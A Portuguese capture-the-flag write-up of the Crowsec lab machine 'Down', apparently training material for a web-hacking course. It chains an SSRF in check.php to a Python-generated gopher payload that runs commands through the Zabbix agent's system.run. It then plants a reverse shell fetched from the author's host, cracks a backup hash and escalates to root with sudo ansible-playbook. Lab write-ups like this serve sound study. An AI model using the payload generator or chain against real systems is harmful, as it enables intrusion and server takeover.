Crowsec Down Write-up
0
0

Crowsec Down Write-up

Resolução da maquina Down da Crowsec.

Roberto Francisco
3 min
0
0
Email image

A máquina Down é disponibilizada no laboratório da Crowsec, para poder ter acesso a essa máquina é preciso ser aluno do Webhacking-na-pratica 2.0.

A máquina está classificada como nível Difícil e seu sistema operacional é Linux.

                                                   Reconhecimento

Primeira etapa é fazer o reconhecimento inicial de portas e serviços disponíveis no alvo. Para essa função escolhi utilizar a ferramenta Nmap.

Nmap -sS -sV -v

Resultado:

Email image

Então, iniciei o reconhecimento do serviço web na porta 80

Email image

Uma página home de uma empresa de hospedagem. depois de interagir bastante com a página, iniciei a procura por arquivos.

Executei o wfuzz para fazer uma varredura por arquivos no servidor

wfuzz -c -z files,files.txt –hc 404 http:///FUZZ

Resultado:

Email image

Um arquivo php encontrado, então resolvi dar uma olhada.

Email image

O check.php tinha a função de verificar se meu website estava disponível na internet.

O Problema era que para isso o servidor da aplicação precisaria fazer uma requisição para o meu servidor, deixando o servidor da aplicação vulnerável a SSRF(Server-side Request Forgery). Basicamente é quando o cliente pode fazer o servidor enviar requisições para outros servidores e serviços.

Fui confirmar a vulnerabilidade, configurei um servidor python.

Email image

enviei a url do meu servidor web para aplicação.

Email image

A requisição foi feita para minha máquina e o ip da requisição pertencia ao servidor da aplicação. Com essa informação, posso utilizar a própria aplicação para interagir com outros serviços não disponíveis ou filtrados no alvo.

Obs: Código apresentou 404, por que o arquivo não existe na minha máquina.

Executei novamente o nmap com a flag -p- para varrer por todas as portas, a procurar de algum serviço que posso usar para acessar via SSRF.

Email image

Serviço zabbix-agent estava com estado filtrado, possivelmente alguma regra de firewall estava filtrando o acesso externo, mas posso usar o SSRF para  tentar acessar  o serv

                                                    Explorando o Zabbix

Com o script abaixo, gerei um payload para fazer requisição para zabbix

import struct
import urllib.parse
import sys
header = "ZBXD\x01"
comando = sys.argv[1]
key = f'system.run[({comando})]'
payload="gopher://127.0.0.1:10050/_".strip()
payload+=urllib.parse.quote_plus(header).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()
payload+=urllib.parse.quote_plus(struct.pack("<Q", len(key)+2).decode()).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()
payload+=urllib.parse.quote_plus(key).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()
print(payload)

Então executei o script e o comando para ser executado

Email image

O payload utiliza o protocolo gopher para interagir com o serviço do zabbix. solicitei a execução do comando cat /etc/ passwd, por meio do item system.run presente no zabbix agent.

enviei a requisição com o payload para a aplicação.

Resultado:

a imagem não ficou boa, mas trata-se do conteudo do passwd<br>
a imagem não ficou boa, mas trata-se do conteudo do passwd

Obtive um RCE(Remote code execution) utilizando o zabbix através de um SSRF existente no servidor.

Iniciei tentativas de obter um reverse shell utilizando o zabbix, mas todas as tentativas o servidor desconectava a shell.

Então comecei a procurar por diretórios webs que tenho acesso pelo servidor web e que tenho permissão de escrita.

Email image

Encontrei o diretório assets.

gerei um payload para gravar um reverse shell no diretório assets

Email image

esse comando vai fazer uma requisição para minha máquina solicitando o conteúdo do shell.php e seu conteúdo vai ser salvo / var / www /html /assets / shell.php

O conteudo de shell.php

<br>

Depois de enviado o payload, verifiquei se meu arquivo foi gravado no servidor.

Email image

Foi gravado, inciei o netcat na porta configurada.

Email image

Acessei o shell.php e voltei para o netcat.

Email image

SHELL !!

Email image

                                           Escalando  privilégios

Encontrei em / var / backups/ um arquivo oculto denominado .password.bkp, seu conteúdo era um hash possivelmente extraído do / etc / shadow

Email image

Executei o jhon para tentar “quebrar” o hash

Email image

Conseguir a senha do usuário DevOps, su DevOPS e a senha encontrada , tive acesso ao usuário

Executei sudo -l

Email image

Comecei a pesquisar sobre ansible-playbook e como poderia escalar privilégios para root.

Criei um arquivo chamado shell.yml

Email image

Que iniciava uma shell interativa utilizando o sh

Executei o ansible-playbook com sudo

Email image

Eee

Email image
Email image